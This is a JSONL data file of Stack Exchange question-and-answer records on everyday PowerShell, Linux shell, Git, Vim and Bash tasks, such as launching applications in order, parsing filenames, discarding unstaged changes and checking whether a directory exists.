{"id": "hf_b3f5e3a851f7", "question": "<p>Imagine a DOS style .cmd file which is used to launch interdependent windowed applications in the right order.</p>\n\n<p>Example:<br>\n1) Launch a server application by calling an exe with parameters.<br>\n2) Wait for the server to become initialized (or a fixed amount of time).<br>\n3) Launch client application by calling an exe with parameters.</p>\n\n<p>What is the simplest way of accomplishing this kind of batch job in PowerShell?</p>\n", "question_body": "", "answer": "To wait 10 seconds between launching the applications, try\n```\n```\nlaunch-server-application serverparam1 serverparam2 ...\nStart-Sleep -s 10\nlaunch-client-application clientparam1 clientparam2 clientparam3 ...\n```\n```\nIf you want to create a script and have the arguments passed in, create a file called runlinkedapps.ps1 (or whatever) with these contents:\n```\n```\nlaunch-server-application $args[0] $args[1]\nStart-Sleep -s 10\nlaunch-client-application $args[2] $args[3] $args[4]\n```\n```\nOr however you choose to distribute the server and client parameters on the line you use to run runlinkedapps.ps1. If you want, you could even pass in the delay here, instead of hardcoding\n```\n10\n```\n.\nRemember, your .ps1 file need to be on your Path, or you'll have to specify its location when you run it. (Oh, and I've assumed that launch-server-application and launch-client-application are on your Path - if not, you'll need to specify the full path to them as well.)", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:30.262244"}
{"id": "hf_32ac0aaeef53", "question": "<p>I have a filename in a format like:</p>\n\n<blockquote>\n  <p><code>system-source-yyyymmdd.dat</code></p>\n</blockquote>\n\n<p>I'd like to be able to parse out the different bits of the filename using the \"-\" as a delimiter.</p>\n", "question_body": "", "answer": "Use the\n```\ncut\n```\ncommand.\ne.g.\n```\n```\necho \"system-source-yyyymmdd.dat\" | cut -f1 -d'-'\n```\n```\nwill extract the first bit.\nChange the value of the\n```\n-f\n```\nparameter to get the appropriate parts.\nHere's a guide on the\nCut\ncommand.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:30.393409"}
{"id": "hf_69103b34e22b", "question": "<p>Which files should I include in <code>.gitignore</code> when using <em>Git</em> in conjunction with <em>Xcode</em>?</p>\n", "question_body": "", "answer": "Based on\nthis guide for Mercurial\nmy .gitignore includes:\n```\n```\n.DS_Store\n*.swp\n*~.nib\n\nbuild/\n\n*.pbxuser\n*.perspective\n*.perspectivev3\n```\n```\nI've also chosen to include:\n```\n```\n*.mode1v3\n*.mode2v3\n```\n```\nwhich, according to\nthis Apple mailing list post\n, are \"user-specific project settings\".\nAnd for Xcode 4:\n```\n```\nxcuserdata\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:30.522628"}
{"id": "hf_0dd077216bfb", "question": "<p>I have been looking at the new <a href=\"http://cappuccino.org/\" rel=\"noreferrer\">Objective-J / Cappuccino</a> javascript framework from <a href=\"http://280north.com/\" rel=\"noreferrer\">280North</a>.  They provide plug-ins for SubEthaEdit and TextMate to handle syntax highlighting, but I primarily use vi.  Does anyone know of a way to get Objective-J syntax highlighting in vi, or a good way to convert whatever format the other two editors use?</p>\n", "question_body": "", "answer": "If regular javascript syntax highlighting is good enough, you can map that to .j files by adding something like this to your .vimrc file:\n```\n```\naugroup objective-j\n   au! BufRead,BufNewFile *.j set filetype=objective-j\n   au! Syntax objective-j source /usr/share/vim/vim71/syntax/javascript.vim\n   augroup END\n```\n```\nI haven't tried this exact code, but did something similar when mapping C# syntax to .vala files on my Linux machine. (NOTE: The javascript.vim file might be located somewhere else on your computer.) You could of course make a objective-j.vim file based on that javascript.vim syntax definition instead of using it as it is.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:30.671202"}
{"id": "hf_9a101a25bf8c", "question": "<p>What tools are available to monitor graphics card memory usage in linux?</p>\n", "question_body": "", "answer": "If you just need to know it for 3D graphics development purposes, you may want to look into something like\ngDEBugger\nor, if you only care about NVIDIA cards, you can try\nNVIDIA PerfHUD\n.  I have not used them myself, but I would expect them to track such information.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:30.830738"}
{"id": "hf_0e46b3a58a78", "question": "<p>I need a way to determine the space remaining on a disk volume using python on linux, Windows and OS X. I'm currently parsing the output of the various system calls (df, dir) to accomplish this - is there a better way?</p>\n", "question_body": "", "answer": "The\nos.statvfs()\nfunction is a better way to get that information for Unix-like platforms (including OS X). The Python documentation says \"Availability: Unix\" but it's worth checking whether it works on Windows too in your build of Python (ie. the docs might not be up to date).\nOtherwise, you can use the\npywin32\nlibrary to directly call the\nGetDiskFreeSpaceEx\nfunction.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:31.200694"}
{"id": "hf_92ba187168d0", "question": "<p>Does anyone know of any good library that abstracts the problem of path manipulation in a nice way? I'd like to be able to combine and parse paths with arbitrary separators ('/' or ':' for example) without reinventing the wheel.</p>\n\n<p>It's a shame that <code>System.IO.Path</code> isn't more reusable.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "System.IO.Path.Combine will work great for many different types of paths:\nhttp://msdn.microsoft.com/en-us/library/system.io.path.combine.aspx\nSystem.IO.Path.Combine uses the current platform standard separators to combine paths. That means on Windows it uses \"\\\" and on unix/linux (mono) it uses \"/\". Can you give some samples of what paths you are trying to combine and on what platform?", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:31.328879"}
{"id": "hf_c430731cfefc", "question": "<p>We are working with an oracle database in which the person that set it up is \"long gone\" and thus do not know the sysdba password, but need it. We have root access to the box (its on linux). Is there any way to recover or change the sys passwords?</p>\n", "question_body": "", "answer": "Have you tried logging into Linux as your installed Oracle user then\n```\n```\nsqlplus \"/ as sysdba\"\n```\n```\nWhen you log in you'll be able to change your password.\n```\n```\nalter user sys identified by <new password>;\n```\n```\nGood luck :)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:31.484444"}
{"id": "hf_c13bd9fd8d93", "question": "<p>How do I discard changes in my working copy that are not in the index?</p>\n", "question_body": "", "answer": "For all\nunstaged\nfiles in current working directory use:\n```\n```\ngit restore .\n```\n```\nFor a specific file use:\n```\n```\ngit restore path/to/file/to/revert\n```\n```\nThat together with\n```\ngit switch\n```\nreplaces the overloaded\n```\ngit checkout\n```\n(\nsee here\n), and thus removes the argument disambiguation.\nIf a file has both staged and unstaged changes, only the unstaged changes shown in\n```\ngit diff\n```\nare reverted. Changes shown in\n```\ngit diff --staged\n```\nstay intact.\nBefore Git 2.23\nFor all unstaged files in current working directory:\n```\n```\ngit checkout -- .\n```\n```\nFor a specific file:\n```\n```\ngit checkout -- path/to/file/to/revert\n```\n```\n```\n--\n```\nhere to remove ambiguity (this is known as\nargument disambiguation\n).", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:31.636168"}
{"id": "hf_4d56e6683a47", "question": "<p>I'm having trouble writing a regular expression that matches valid IPv6 addresses, including those in their compressed form (with <code>::</code> or leading zeros omitted from each byte pair).  </p>\n\n<p>Can someone suggest a regular expression that would fulfill the requirement?</p>\n\n<p>I'm considering expanding each byte pair and matching the result with a simpler regex.</p>\n", "question_body": "", "answer": "From \"\nIPv6 regex\n\":\n```\n```\n(\\A([0-9a-f]{1,4}:){1,1}(:[0-9a-f]{1,4}){1,6}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,6}(:[0-9a-f]{1,4}){1,1}\\Z)|\n(\\A(([0-9a-f]{1,4}:){1,7}|:):\\Z)|\n(\\A:(:[0-9a-f]{1,4}){1,7}\\Z)|\n(\\A((([0-9a-f]{1,4}:){6})(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3})\\Z)|\n(\\A(([0-9a-f]{1,4}:){5}[0-9a-f]{1,4}:(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3})\\Z)|\n(\\A([0-9a-f]{1,4}:){5}:[0-9a-f]{1,4}:(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,1}(:[0-9a-f]{1,4}){1,4}:(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,3}:(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,2}:(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}\\Z)|\n(\\A([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,1}:(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}\\Z)|\n(\\A(([0-9a-f]{1,4}:){1,5}|:):(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}\\Z)|\n(\\A:(:[0-9a-f]{1,4}){1,5}:(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)(\\.(25[0-5]|2[0-4]\\d|[0-1]?\\d?\\d)){3}\\Z)\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:31.840652"}
{"id": "hf_6fc600024b3a", "question": "<p>This is probably <a href=\"http://www.linuxtopia.org/online_books/advanced_bash_scripting_guide/x13320.html\" rel=\"noreferrer\">a complex solution</a>.</p>\n\n<p>I am looking for a simple operator like \">>\", but for prepending.</p>\n\n<p>I am afraid it does not exist. I'll have to do something like </p>\n\n<pre>\n mv myfile tmp\n cat myheader tmp > myfile\n</pre>\n\n<p>Anything smarter?</p>\n", "question_body": "", "answer": "This still uses a temp file, but at least it is on one line:\n```\n```\necho \"text\" | cat - yourfile > /tmp/out && mv /tmp/out yourfile\n```\n```\nCredit:\nBASH: Prepend A Text / Lines To a File", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:32.069127"}
{"id": "hf_0b19aa450fe5", "question": "<p>Is there a way to have Linux read ahead when cloning a disk?  I use the program named \"dd\" to clone disks.  The last time I did this it seemed as though the OS was reading then writing but never at the same time.  Ideally, the destination disk would be constantly writing without waiting that's of course if the source disk can keep up.</p>\n\n<p>UPDATE: I normally choose a large block size when cloning (ex. 16M or 32MB).</p>\n", "question_body": "", "answer": "Maybe you can use two processes\n```\n```\ndd if=indevfile | dd of=outdevfile\n```\n```\nI'll assume you can set the other dd options as it suits you.\nThis has some overhead but should allow asynchrony between reading\none disk and writing the other.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:32.240615"}
{"id": "hf_679e35648287", "question": "<p>Does any one know how do I get the current open windows or process of a local machine using Java?  </p>\n\n<p>What I'm trying to do is: list the current open task, windows or process open, like in  Windows Taskmanager, but using a multi-platform approach - using only Java if it's possible.</p>\n", "question_body": "", "answer": "The only way I can think of doing it is by invoking a command line application that does the job for you and then screenscraping the output (like Linux's ps and Window's tasklist).\nUnfortunately, that'll mean you'll have to write some parsing routines to read the data from both.\n```\n```\nProcess proc = Runtime.getRuntime().exec (\"tasklist.exe\");\nInputStream procOutput = proc.getInputStream ();\nif (0 == proc.waitFor ()) {\n    // TODO scan the procOutput for your data\n}\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:32.357952"}
{"id": "hf_6099e5a49464", "question": "<p>One thing I really miss about Java is the tool support.  FindBugs, Checkstyle and PMD made for a holy trinity of code quality metrics and automatic bug checking.  </p>\n\n<p>Is there anything that will check for simple bugs and / or style violations of Ruby code?  Bonus points if I can adapt it for frameworks such as Rails so that Rails idioms are adhered to.</p>\n", "question_body": "", "answer": "Dust\nlooks like it can help you find unused and useless code, which seems like it sort-of fits what you're after.\nI'm not aware of any other such tools.\nThis problem is vastly harder to address in ruby than it is in java - you'll note that all those java tools brand themselves as using 'static analysis' of the code.\nStatic analysis of ruby code often isn't possible, because there isn't anything static that you can analyze (methods often get created at runtime and so on)\nAt any rate, some of these things are unneeded in ruby because the language builds them in.\nFor example, you don't need a coding standard to enforce that your classes are all\n```\nNamedLikeThis\n```\nbecause the code won't work if they aren't.\nP.S. I\nhave\nto add the standard disclaimer that those kind of tools can often be a bit of a red herring. You can spend all day making your code adhere to what the tool thinks it should be, and end up with more bugs than you started with.\nIMHO the best solution is to write your code fluently so you can read it more easily. No amount of static analysis is going to be as good as a human reading code which clearly states what it is meant to do. Being able to do this is where ruby is light-years ahead of many other languages. I personally would recommend you aim your efforts at learning how to write more fluently, and educating your team about such things, than spending time on static analysis.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:32.536681"}
{"id": "hf_407164227e14", "question": "<p>How often should you use git-gc?  </p>\n\n<p>The <a href=\"http://www.kernel.org/pub/software/scm/git/docs/git-gc.html\" rel=\"noreferrer\">manual page</a> simply says:</p>\n\n<blockquote>\n  <p>Users are encouraged to run this task on a regular basis within each repository to maintain good disk space utilization and good operating performance.</p>\n</blockquote>\n\n<p>Are there some commands to get some object counts to find out whether it's time to gc?</p>\n", "question_body": "", "answer": "It depends mostly on how much the repository is used.  With one user checking in once a day and a branch/merge/etc operation once a week you probably don't need to run it more than once a year.\nWith several dozen developers working on several dozen projects each checking in 2-3 times a day, you might want to run it nightly.\nIt won't hurt to run it more frequently than needed, though.\nWhat I'd do is run it now, then a week from now take a measurement of disk utilization, run it again, and measure disk utilization again.  If it drops 5% in size, then run it once a week.  If it drops more, then run it more frequently.  If it drops less, then run it less frequently.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:32.708398"}
{"id": "hf_e28de2725399", "question": "<p>What is the best way, using Bash, to rename files in the form:</p>\n\n<pre><code>(foo1, foo2, ..., foo1300, ..., fooN)\n</code></pre>\n\n<p>With zero-padded file names:</p>\n\n<pre><code>(foo00001, foo00002, ..., foo01300, ..., fooN)\n</code></pre>\n", "question_body": "", "answer": "The following will do it:\n```\n```\nfor ((i=1; i<=N; i++)) ; do mv foo$i `printf foo%05d $i` ; done\n```\n```\nEDIT:\nchanged to use ((i=1,...)), thanks\nmweerden\n!", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:32.850757"}
{"id": "hf_ff6cbb50c692", "question": "<p>If you were to write an GUI application that runs locally and calls a webservice, to be cross platform, can you do it with .Net, what tools would you recommend?</p>\n\n<p>I was considering Java as it would be relatively easy to pick up due to its C# similarity and then I could use the JVM.</p>\n", "question_body": "", "answer": "You should get familiar with the\nMono project\nand\nMonoDevelop\n; the express purpose of those projects is to allow building and running .NET code on a variety of platforms, including Windows, Linux, and Mac OSX.\nSince the Mono is a re-implementation of .NET, it always lags a little behind Microsoft.NET, but they've got good coverage of .NET 2.0 and some .NET 3.x features. Note that Mono executes .NET binaries, so as long as your program features are supported by Mono, you can take an application EXE you complied on Windows and run it on Linux/Mono without recompiling.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:32.978698"}
{"id": "hf_ff96487bc925", "question": "<p>EditPad Lite has a nice feature (<kbd>CTRL</kbd>-<kbd>E</kbd>, <kbd>CTRL</kbd>-<kbd>I</kbd>) which inserts a time stamp e.g. \"2008-09-11 10:34:53\" into your code.</p>\n\n<p>What is the best way to get this functionality in Vim?</p>\n\n<p>(I am using Vim 6.1 on a Linux server via SSH. In the current situation a number of us share a login so I don't want to create abbreviations in the home directory if there is another built-in way to get a timestamp.)</p>\n", "question_body": "", "answer": "http://kenno.wordpress.com/2006/08/03/vim-tip-insert-time-stamp/\nTried it out, it works on my mac:\n```\n```\n:r! date\n```\n```\nproduces:\n```\n```\nThu Sep 11 10:47:30 CEST 2008\n```\n```\nThis:\n```\n```\n:r! date \"+\\%Y-\\%m-\\%d \\%H:\\%M:\\%S\"\n```\n```\nproduces:\n```\n```\n2008-09-11 10:50:56\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:33.100864"}
{"id": "hf_02492ab73227", "question": "<p>I'm interested in grabbing the EPG data from DVB-T streams. Does anyone know of any C libraries or an alternative means of getting the data?</p>\n", "question_body": "", "answer": "tv_grab_dvb can do this. See the\nsubversion repository\nfor sources.\ntv_grab_dvb is made to work with the stream grabbed from the DVB-T card using\ndvbtools\non Linux, but it may be portable to other platforms - I think it just works with the raw data from the stream.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:33.400643"}
{"id": "hf_2e2b6b6eda50", "question": "<p>I've been trying to convert SVG images to PNG using C#, without having to write too much code. Can anyone recommend a library or example code for doing this?</p>\n", "question_body": "", "answer": "You can call the command-line version of inkscape to do this:\nhttp://harriyott.com/2008/05/converting-svg-images-to-png-in-c.aspx\nAlso there is a C# SVG rendering engine, primarily designed to allow SVG files to be used on the web on codeplex that might suit your needs if that is your problem:\nOriginal Project\nhttp://www.codeplex.com/svg\nFork with fixes and more activity:\n(added 7/2013)\nhttps://github.com/vvvv/SVG", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:33.632350"}
{"id": "hf_099cc4e1b69d", "question": "<p>How does the <strong>open-source/free software community</strong> develop drivers for products that offer no documentation?</p>\n", "question_body": "", "answer": "Usually by reverse engineering the code. There might be legal issues in some countries, though.\nReverse Engineering\nReverse engineering Windows USB device drivers for the purpose of\ncreating compatible device drivers for Linux\nNvidia cracks down on third party driver development", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:33.779947"}
{"id": "hf_180e3c10a346", "question": "<p>What command checks if a directory exists or not within a Bash shell script?</p>\n", "question_body": "", "answer": "To check if a directory exists:\n```\n```\nif [ -d \"$DIRECTORY\" ]; then\n  echo \"$DIRECTORY does exist.\"\nfi\n```\n```\nTo check if a directory does not exist:\n```\n```\nif [ ! -d \"$DIRECTORY\" ]; then\n  echo \"$DIRECTORY does not exist.\"\nfi\n```\n```\nHowever, as\nJon Ericson\npoints out, subsequent commands may not work as intended if you do not take into account that a symbolic link to a directory will also pass this check.\nE.g. running this:\n```\n```\nln -s \"$ACTUAL_DIR\" \"$SYMLINK\"\nif [ -d \"$SYMLINK\" ]; then \n  rmdir \"$SYMLINK\" \nfi\n```\n```\nWill produce the error message:\n```\n```\nrmdir: failed to remove `symlink': Not a directory\n```\n```\nSo symbolic links may have to be treated differently, if subsequent commands expect directories:\n```\n```\nif [ -d \"$LINK_OR_DIR\" ]; then \n  if [ -L \"$LINK_OR_DIR\" ]; then\n    # It is a symlink!\n    # Symbolic link specific commands go here.\n    rm \"$LINK_OR_DIR\"\n  else\n    # It's a directory!\n    # Directory command goes here.\n    rmdir \"$LINK_OR_DIR\"\n  fi\nfi\n```\n```\nTake particular note of the double-quotes used to wrap the variables. The reason for this is explained by 8jean\nin another answer\n.\nIf the variables contain spaces or other unusual characters it will probably cause the script to fail.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:33.971746"}
{"id": "hf_fe0730064093", "question": "<p>How do I get the path of the directory in which a <a href=\"http://en.wikipedia.org/wiki/Bash_%28Unix_shell%29\" rel=\"noreferrer\">Bash</a> script is located, <em>inside</em> that script?</p>\n<p>I want to use a Bash script as a launcher for another application. I want to change the working directory to the one where the Bash script is located, so I can operate on the files in that directory, like so:</p>\n<pre><code>$ ./application\n</code></pre>\n", "question_body": "", "answer": "Use\n```\ndirname \"$0\"\n```\n:\n```\n```\n#!/usr/bin/env bash\n\necho \"The script you are running has basename $( basename -- \"$0\"; ), dirname $( dirname -- \"$0\"; )\";\necho \"The present working directory is $( pwd; )\";\n```\n```\nUsing\n```\npwd\n```\nalone will not work if you are not running the script from the directory it is contained in.\n```\n```\n[matt@server1 ~]$ pwd\n/home/matt\n[matt@server1 ~]$ ./test2.sh\nThe script you are running has basename test2.sh, dirname .\nThe present working directory is /home/matt\n[matt@server1 ~]$ cd /tmp\n[matt@server1 tmp]$ ~/test2.sh\nThe script you are running has basename test2.sh, dirname /home/matt\nThe present working directory is /tmp\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:34.096385"}
{"id": "hf_19fbd9b070aa", "question": "<p>I want to make a copy of an ActiveRecord object, changing a single field in the process (in addition to the <strong>id</strong>).  What is the simplest way to accomplish this?</p>\n<p>I realize I could create a new record, and then iterate over each of the fields copying the data field-by-field - but I figured there must be an easier way to do this.</p>\n<p>Perhaps something like this:</p>\n<pre class=\"lang-ruby prettyprint-override\"><code> new_record = Record.copy(:id)\n</code></pre>\n", "question_body": "", "answer": "To get a copy, use the\ndup\n(or clone for < rails 3.1+) method:\n```\n```\n#rails >= 3.1\nnew_record = old_record.dup\n\n# rails < 3.1\nnew_record = old_record.clone\n```\n```\nThen you can change whichever fields you want.\nActiveRecord overrides the built-in Object#clone\nto give you a new (not saved to the DB) record with an unassigned ID.\nNote that it does not copy associations, so you'll have to do this manually if you need to.\nRails 3.1 clone is a shallow copy, use dup instead...", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:34.253803"}
{"id": "hf_a1ff0ecf0dc8", "question": "<p>In all the Git tutorials I've read they say that you can do:</p>\n\n<pre><code>git init\ngit add .\ngit commit\n</code></pre>\n\n<p>When I do that I get a big text file opened up. None of the tutorials seem to address this, so I don't know what to do with the file or what to put in it if anything.</p>\n", "question_body": "", "answer": "The\n```\ngit commit\n```\ncommand will open up the editor specified in the\n```\nEDITOR\n```\nenvironment variable so you can enter a commit comment.  On a Linux or BSD system, this should be vi by default, although any editor should work.\nJust enter your comments and save the file.", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:34.467687"}
{"id": "hf_814be8e4df5a", "question": "<p>What is the best way for me to determine a controller variable's value during execution?</p>\n\n<p>For example, is there a way I can insert a break in the code, and cause the value of the variable to be output to the screen (or the log)?</p>\n", "question_body": "", "answer": "Yes. The easiest way is to raise the value as a string. Like so:\n```\nraise @foo.to_s\n```\nOr, you can install the debugger (\n```\ngem install ruby-debug\n```\n), and then start the development server with the\n```\n--debugger\n```\nflag. Then, in your code, call the\n```\ndebugger\n```\ninstruction.\nInside the debugger prompt, you have many commands, including\n```\np\n```\nto print the value of a variable.\nUpdate:\nhere's\na bit more about ruby-debug\n.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:34.605812"}
{"id": "hf_91bcf8194b23", "question": "<p>I was always attracted to the world of kernel hacking and embedded systems.<br>\nHas anyone got good tutorials (+easily available hardware) on starting to mess with such stuff?<br>\nSomething like kits for writing drivers etc, which come with good documentation and are affordable?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "For embedded Linux hacking, simple Linksys WRT54G router that you can buy everywhere is a development platform on its own\nhttp://en.wikipedia.org/wiki/Linksys_WRT54G_series\n:\nThe WRT54G is notable for being the first consumer-level network device that had its firmware source code released to satisfy the obligations of the GNU GPL. This allows programmers to modify the firmware to change or add functionality to the device. Several third-party firmware projects provide the public with enhanced firmware for the WRT54G.\nI've tried installing\nOpenWrt\nand\nDD-WRT\nfirmware on it.  You can check those out as a starting point for hacking on a low-cost platform.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:34.730226"}
